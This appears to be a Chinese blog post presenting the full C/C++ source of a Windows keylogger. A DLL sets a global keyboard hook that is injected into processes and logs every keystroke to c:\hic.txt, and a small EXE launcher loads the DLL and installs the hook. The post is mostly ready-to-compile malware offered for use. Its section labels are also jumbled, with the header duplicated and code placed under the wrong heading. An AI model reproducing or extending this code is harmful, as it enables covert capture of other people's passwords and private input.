|  | 
 
这是个键盘记录模块,直接编译 可用,可以按需扩展。 预备知识:键盘记录功能需要用到全局键盘钩子(有局部钩子和全局钩子之分),而全局键盘钩子需要一个单独的dll文件,因为这个dll文件会被注入到任意获得键盘消息的进程中(个别系统进程无法注入),向操作系统注册钩子后,再在回调函数中处理对应的键盘事件就OK....      另外,虽然dll也属可执行文件 ,但它需要带头大哥的指引才能启动(exe文件),因此,还需要一个起动机,也就是一个exe文件来帮助启动...DLL头文件 DLL实现文件#ifndef _DLL_H_#define _DLL_H_
 #if BUILDING_DLL
 # define DLLIMPORT __declspec (dllexport)
 #else /* Not BUILDING_DLL */
 # define DLLIMPORT __declspec (dllimport)
 #endif /* Not BUILDING_DLL */
 #include <windows.h>
 DLLIMPORT void HelloWorld (void);
 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);  //回调处理函数,
 BOOL __declspec(dllexport)  installhook();    //向系统安装钩子
 BOOL __declspec(dllexport)  UnHook();        //释放钩子
 #endif /* _DLL_H_ */
 
 EXE起动机头文件/* Replace "dll.h" with the name of your header */#include "dll.h"
 #include <windows.h>
 #include <stdio.h>
 #include <stdlib.h>
 
 #pragma data_seg(".SHARDAT")  //共享段
 static HHOOK hkb = NULL;
 //HWND hLastWnd    = NULL;
 FILE *fp = NULL;                    //注入不同进程dll文件共享一个文件,
 #pragma data_seg()
 #pragma comment (linker,"/SECTION:.SHARDAT,RWS")
 
 HINSTANCE hinst  = NULL;
 
 DLLIMPORT void HelloWorld ()
 {
 MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION);
 }
 
 // DLL入口
 BOOL APIENTRY DllMain (HINSTANCE hInst     /* Library instance handle. */ ,
 DWORD reason        /* Reason this function is being called. */ ,
 LPVOID reserved     /* Not used. */ )
 {
 switch (reason)
 {
 case DLL_PROCESS_ATTACH:
 hinst = hInst;
 break;
 
 case DLL_PROCESS_DETACH:
 break;
 
 case DLL_THREAD_ATTACH:
 break;
 
 case DLL_THREAD_DETACH:
 break;
 }
 
 /* Returns TRUE on success, FALSE on failure */
 return TRUE;
 }
 
 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回调函数,自己DIY吧...
 {
 /*
 if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode))
 {
 switch(wParam)
 {
 case VK_F1:
 MessageBox(NULL,"F1","F1",MB_OK); break;
 case 'A':
 MessageBox(NULL,"A","A",MB_OK);
 }
 }
 */
 
 /*
 HWND hWnd = GetActiveWindow();
 if (hWnd != hLastWnd)
 {
 char szTemp[256] = {0};
 GetWindowText(hWnd,szTemp,sizeof(szTemp));
 fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp);
 hLastWnd = hWnd;
 }
 BYTE szKeyState[256] = {0};
 GetKeyboardState(szKeyState);
 int nScan = lParam >> 16;
 WORD szKey = 0;
 int len = ToAscii(wParam,nScan,szKeyState,&szKey,0);
 if (len > 0)
 {
 //fprintf(fp,"[%c]",char(szKey));
 }
 */
 
 char ch;
 if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  //捕获按键按下
 {
 if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))    判断按键类型
 {
 fp=fopen("c:\\hic.txt","a+");
 if (wParam==VK_RETURN)
 {
 ch='\n';
 fwrite(&ch,1,1,fp);
 }
 else
 {
 BYTE ks[256];
 GetKeyboardState(ks);
 WORD w;
 UINT scan;
 scan=0;
 ToAscii(wParam,scan,ks,&w,0);
 ch = (char)(w);
 fwrite(&ch,1,1,fp);
 }
 fclose(fp);
 }
 }
 LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam );
 return  RetVal;
 }
 
 BOOL __declspec(dllexport)__stdcall installhook()
 {
 fp=fopen("c:\\hic.txt","w");
 fclose(fp);
 hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0);  //键盘钩子
 return TRUE;
 }
 
 BOOL __declspec(dllexport)  UnHook()
 {
 BOOL unhooked = UnhookWindowsHookEx(hkb);
 return unhooked;
 }
 
 EXE起动机实现文件#ifndef _DLL_H_#define _DLL_H_
 
 #if BUILDING_DLL
 # define DLLIMPORT __declspec (dllexport)
 #else /* Not BUILDING_DLL */
 # define DLLIMPORT __declspec (dllimport)
 #endif /* Not BUILDING_DLL */
 
 #include <windows.h>
 DLLIMPORT void HelloWorld (void);
 LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);
 BOOL __declspec(dllexport)  installhook();
 BOOL __declspec(dllexport)  UnHook();
 
 #endif /* _DLL_H_ */
 
 #include "dll.h" #include  <iostream>
 #include  <windows.h>
 using namespace std;
 
 typedef bool (*Fun)();  //函数指针
 HMODULE g_hHook = 0;
 Fun setHook = NULL;
 
 int main(int argc, char *argv[])
 {
 //InstallHook();
 g_hHook = LoadLibrary("Inject.dll");
 setHook = (Fun)GetProcAddress(g_hHook,"installhook");
 setHook();
 system("pause");
 return 0;
 
 }
 |